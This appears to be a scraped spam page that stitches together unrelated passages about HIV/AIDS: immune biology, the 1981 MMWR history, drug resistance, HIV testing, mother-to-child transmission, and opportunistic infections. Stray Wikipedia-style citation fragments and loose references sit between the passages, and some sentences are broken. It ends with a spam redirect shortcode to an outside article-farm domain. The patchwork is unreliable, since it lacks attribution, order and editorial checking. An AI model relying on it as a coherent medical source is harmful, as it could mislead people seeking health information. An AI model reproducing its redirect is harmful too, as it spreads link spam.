HIV infects vital cells in the human immune system such as helper T cells (specifically CD4+ T cells), macrophages, and dendritic cells. HIV infection leads to low levels of CD4+ T cells through a number of mechanisms, including pyroptosis of abortively infected T cells, apoptosis of uninfected bystander cells, direct viral killing of infected cells, and killing of infected CD4+ T cells by CD8+ cytotoxic lymphocytes that recognize infected cells. When CD4+ T cell numbers decline below a critical level, cell-mediated immunity is lost, and the body becomes progressively more susceptible to opportunistic infections, leading to the development of AIDS.
History marks the beginning of the American AIDS epidemic as June 5, 1981, when an issue of the C.D.C.’s Morbidity and Mortality Weekly Report — the authoritative voice of the agency — highlighted five cases of pneumocystis pneumonia (PCP) in previously healthy men in Los Angeles. Healthy people do not contract a disease like PCP, which had been largely confined until then to patients on medication to suppress their immune systems for an organ transplant or cancer patients on chemotherapy. Though not stated explicitly, the language of the report, by omitting race, implied that its “five young men, all active homosexuals,” were white, which they were. But there were two more documented cases, not mentioned in the notice, and these sixth and seventh cases were black — one of them a gay African-American, the other a heterosexual Haitian.
A major reason that resistance develops is the patient’s failure to correctly follow the prescribed treatment, for example, by not taking the medications at the correct time. If virus remains detectable on any given regimen, resistance eventually will develop. Indeed, with certain drugs, resistance may develop in a matter of weeks, such as with the nucleoside reverse transcriptase inhibitors (NRTIs) lamivudine (Epivir, 3TC) and emtricitabine (Emtriva, FTC), the drugs in the class of nonnucleoside analogue reverse transcriptase inhibitors (NNRTI) such as nevirapine (Viramune, NVP), delavirdine (Rescriptor, DLV), efavirenz (Sustiva, EFV), and rilpivirine (Edurant, RPV), as well as the integrase strand transfer inhibitors (InSTIs) such as raltegravir (Isentress, RAL) and elvitegravir (Vitekta, EVG). Thus, if these drugs are used as part of a combination of agents that do not suppress the viral load to undetectable levels, resistance will develop rapidly and the treatment will lose its effectiveness. In contrast, HIV becomes resistant to other drugs, such as the boosted protease inhibitors (PIs), over months. These drugs are discussed in more detail in subsequent sections, but it is important to note that when resistance develops to one drug, it often results in resistance to other related drugs, so-called cross-resistance. Nevertheless, HIV-infected individuals must realize that antiviral therapy can be and typically is very effective. This is the case even in those who have a low CD4 cell count and advanced disease, as long as drug resistance has not developed.
Early treatment, even at the point of diagnosis, is now recommended in Australia. Regular assessment is important in monitoring the effects of HIV infection, and in monitoring the effect of therapy or the development of complications.
Before starting treatment, patients must be aware of the short- and long-term side effects of the drugs, including the fact that some long-term complications may not be known. Patients also need to realize that therapy is a long-term commitment and requires consistent adherence to the drugs. In addition, clinicians and patients should recognize that depression, feelings of isolation, substance abuse, and side effects of the antiviral drugs can all be associated with the failure to follow the treatment program.
“Physical and sexual intimate partner violence is common in perinatally infected youth and is associated with adverse consequences for HIV onward transmission pointing to the need for targeted interventions in this high risk group..”–Dr. William Blattner, JAIDS Co-Editor-in-Chief
Newborn babies of HIV-positive mothers may also receive medication. Studies have found that giving a mother antiretroviral medications during pregnancy, labor, and delivery can reduce the chance of transmission of HIV to the baby to less than 2 percent.
Branson BM, Handsfield HH, Lampe MA, et al. Revised recommendations for HIV testing of adults, adolescents, and pregnant women in health-care settings. MMWR Recomm Rep. 2006 Sep 22. 55:1-17; quiz CE1-4. [Medline].
15. Centers for Disease Control and Prevention (CDC) (1983, 7 January) ‘Epidemiologic notes and reports immunodeficiency among female sexual partners of males with Acquired Immune Deficiency Syndrome (AIDS) – New York’ MMWR Weekly 31(52):697-698
Jump up ^ Underhill K, Operario D, Montgomery P (2008). Operario, Don, ed. “Abstinence-only programs for HIV infection prevention in high-income countries”. Cochrane Database of Systematic Reviews (4): CD005421. doi:10.1002/14651858.CD005421.pub2. PMID 17943855. Archived from the original on November 25, 2010.
Ohl ME, Perencevich E. Frequency of human immunodeficiency virus (HIV) testing in urban vs. rural areas of the United States: results from a nationally representative sample. BMC Public Health 2011;11:681. CrossRef PubMed
A severe immunological disorder caused by the retrovirus HIV, resulting in a defect in cell-mediated immune response that is manifested by increased susceptibility to opportunistic infections and to certain rare cancers, especially Kaposi’s sarcoma. It is transmitted primarily by exposure to infected body fluids, especially blood and semen.
Simonetti FR, Dewar R, Maldarelli F. Diagnosis of human immunodeficiency virus infection. In: Bennett JE, Dolin R, Blaser MJ, eds. Mandell, Douglas, and Bennett’s Principles and Practice of Infectious Diseases. 8th ed. Philadelphia, PA: Elsevier Saunders; 2015:chap 122.
Detection of antibodies to HIV is sensitive and specific except during the first few weeks after infection. Currently, a 4th-generation combination immunoassay is recommended; it detects antibodies to both HIV-1 and HIV-2 as well as the p24 HIV antigen (p24 is a core protein of the virus). The laboratory version is probably preferred over the point-of-care one for diagnosing early infection, but both can be done quickly (within 30 min). If the test result is positive, an assay to differentiate HIV-1 and HIV-2 and an HIV RNA assay are done.
Latent toxoplasmosis: This asymptomatic condition is indicated by serum antibodies (IgG) to Toxoplasma gondii. TMP/SMX (in doses used to prevent P. jirovecii pneumonia) is used to prevent reactivation and consequent toxoplasmic encephalitis. Latent infection is less common (about 15% of adults) in the US than in Europe and most developing countries (up to 70 to 80% of adults).
One of the greatest advances in the management of HIV infection has been in pregnant women. Prior to antiviral therapy, the risk of HIV transmission from an infected mother to her newborn was approximately 25%-35%. The first major advance in this area came with studies giving ZDV after the first trimester of pregnancy, then intravenously during the delivery process, and then after delivery to the newborn for six weeks. This treatment showed a reduction in the risk of transmission to less than 10%. There is strong data that women who have viral suppression during pregnancy have very low risk of transmitting HIV to their baby. Current recommendations are to advise HIV-infected pregnant women regarding both the unknown side effects of antiviral therapy on the fetus and the promising clinical experience with potent therapy in preventing transmission. In the final analysis, however, pregnant women with HIV should be treated essentially the same as nonpregnant women with HIV. Exceptions would be during the first trimester, where therapy remains controversial, and avoiding certain drugs that may cause greater concern for fetal toxicity, such as EFV.
The infections that occur with AIDS are called opportunistic infections because they take advantage of the opportunity to infect a weakened host. A person diagnosed with AIDS may need to be on antibiotic prophylaxis to prevent certain opportunistic infections from occurring. The infections include (but are not limited to) the following:
Jump up ^ Donald McNeil, Jr. (September 16, 2010). “Precursor to H.I.V. was in monkeys for millennia”. The New York Times. Retrieved September 17, 2010. Dr. Marx believes that the crucial event was the introduction into Africa of millions of inexpensive, mass-produced syringes in the 1950s. … suspect that the growth of colonial cities is to blame. Before 1910, no Central African town had more than 10,000 people. But urban migration rose, increasing sexual contacts and leading to red-light districts.
Since the discovery of HIV and its link to AIDS, great strides have been made in understanding its biology and in developing effective treatments. The difficulty in dealing with HIV on a global scale is largely due to the fact that HIV infection is far more common in resource-poor countries.
Transgender people have also been hit especially hard by the epidemic despite comprising a similarly small percentage of the U.S. population. While better data is needed to understand the full impact of HIV on the transgender community, one international analysis found that transgender women in certain communities have 49 times the odds of living with HIV than the general population. Although HIV prevalence among transgender men is relatively low (0-3%) according to the CDC, some data suggest transgender men may still yet be at elevated risk for HIV acquisition.
The virus that causes AIDS, which is the most advanced stage of HIV infection. HIV is a retrovirus that occurs as two types: HIV-1 and HIV-2. Both types are transmitted through direct contact with HIV-infected body fluids, such as blood, semen, and genital secretions, or from an HIV-infected mother to her child during pregnancy, birth, or breastfeeding (through breast milk).
Bonhoeffer et al. suggested that template switching by reverse transcriptase acts as a repair process to deal with breaks in the single-stranded RNA genome. In addition, Hu and Temin suggested that recombination an adaptation for repair of damage in the RNA genomes. Strand switching (copy-choice recombination) by reverse transcriptase could generate an undamaged copy of genomic DNA from two damaged single-stranded RNA genome copies. This view of the adaptive benefit of recombination in HIV could explain why each HIV particle contains two complete genomes, rather than one. Furthermore, the view that recombination is a repair process implies that the benefit of repair can occur at each replication cycle, and that this benefit can be realized whether or not the two genomes differ genetically. On the view that recombination in HIV is a repair process, the generation of recombinational variation would be a consequence, but not the cause of, the evolution of template switching. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]